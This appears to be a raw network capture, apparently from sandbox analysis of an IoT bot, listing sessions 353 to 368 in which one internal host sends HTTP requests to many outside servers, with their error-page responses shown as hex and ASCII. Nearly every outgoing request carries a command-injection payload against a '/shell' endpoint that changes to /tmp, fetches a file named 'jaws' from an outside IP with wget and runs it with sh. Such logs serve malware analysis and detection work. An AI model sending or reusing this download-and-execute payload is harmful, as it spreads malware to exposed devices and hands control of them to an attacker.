Mar 13, 2024 09:36:51.042330980 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:51.345765114 CET	35	IN	HTTP/1.0 302 Redirect
Mar 13, 2024 09:36:51.346833944 CET	383	IN	Data Raw: 53 65 72 76 65 72 3a 20 47 6f 41 68 65 61 64 2d 57 65 62 73 0d 0a 44 61 74 65 3a 20 57 65 64 20 4d 61 72 20 31 33 20 30 38 3a 33 36 3a 35 31 20 32 30 32 34 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 Data Ascii: Server: GoAhead-WebsDate: Wed Mar 13 08:36:51 2024Pragma: no-cacheCache-Control: no-cacheContent-Type: text/htmlSet-Cookie: sid=0; path=/; HttpOnly;Location: https://116.58.44.58/shell<html><head></head><body>This document ha

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.15	39038	45.32.242.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:51.109519958 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:51.473407984 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.15.8 Date: Wed, 13 Mar 2024 08:36:51 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.15.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.15	49202	18.161.15.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:51.118897915 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:51.211401939 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:51 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.15	48226	78.128.68.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:51.224436998 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:51.422111034 CET	113	IN	HTTP/1.1 400 Bad Request Connection: close Content-Type: text/plain Transfer-Encoding: chunked
Mar 13, 2024 09:36:51.422144890 CET	33	IN	Data Raw: 42 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a 30 0d 0a 0d 0a Data Ascii: BBad Request0

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.15	39534	165.232.167.138	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:54.844548941 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.170767069 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:55 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.15	53162	176.67.160.184	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.008188009 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.166594028 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Mar 2024 08:36:55 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.15	33842	198.251.113.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.012341976 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.174870014 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:42:40 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.15	37876	179.189.243.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.037797928 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:56.052720070 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:57.236718893 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:59.800640106 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.15	45300	185.149.120.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.128825903 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.250102997 CET	750	IN	HTTP/1.1 400 Bad Request Server: ngjit Date: Wed, 13 Mar 2024 08:36:55 GMT Connection: close Content-Type: text/html; charset=utf8 Content-Length: 579 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 20 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 20 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 70 3e 3c 62 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 20 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 53 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 69 6e 76 61 6c 69 64 20 73 79 6e 74 61 78 2e 20 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e Data Ascii: <!DOCTYPE html><html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 400</title><style>*{margin:0;padding:0}html{font:15px/22px arial,sans-serif;background: #fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}p{margin:11px 0 22px;overflow :hidden}ins{color:#777;text-decoration :none;}</style><p><b>400 - Bad Request .</b> <ins>Thats an error.</ins><p>Server could not understand the request due to invalid syntax. <ins>Thats all we know.</ins>

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.15	40650	45.33.240.55	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.165020943 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.988738060 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:56.948705912 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:58.868716955 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.15	38334	193.246.10.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.211899996 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.386395931 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:55 GMT Date: Wed, 13 Mar 2024 08:36:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 35 33 30 66 36 63 31 26 23 34 36 3b 31 37 31 30 33 31 39 30 31 35 26 23 34 36 3b 31 62 32 63 34 65 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8530f6c1.1710319015.1b2c4e5</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.15	38752	51.20.1.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.223714113 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.409928083 CET	404	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:55 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.15	37814	43.254.159.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.368756056 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:57.204709053 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:59.540752888 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.15	52544	218.90.121.169	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.393919945 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.773279905 CET	118	IN	HTTP/1.1 400 Transfer-Encoding: chunked Date: Wed, 13 Mar 2024 08:32:20 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.15	39680	114.33.81.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.452980042 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.15	34902	23.207.25.72	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.479393959 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.794152975 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:36:55 GMT Date: Wed, 13 Mar 2024 08:36:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 66 62 31 33 30 32 26 23 34 36 3b 31 37 31 30 33 31 39 30 31 35 26 23 34 36 3b 61 39 62 66 33 65 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6fb1302.1710319015.a9bf3e4</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.15	33906	159.192.227.190	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:55.581578016 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:55.952559948 CET	1286	IN	HTTP/1.1 400 Bad Request Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 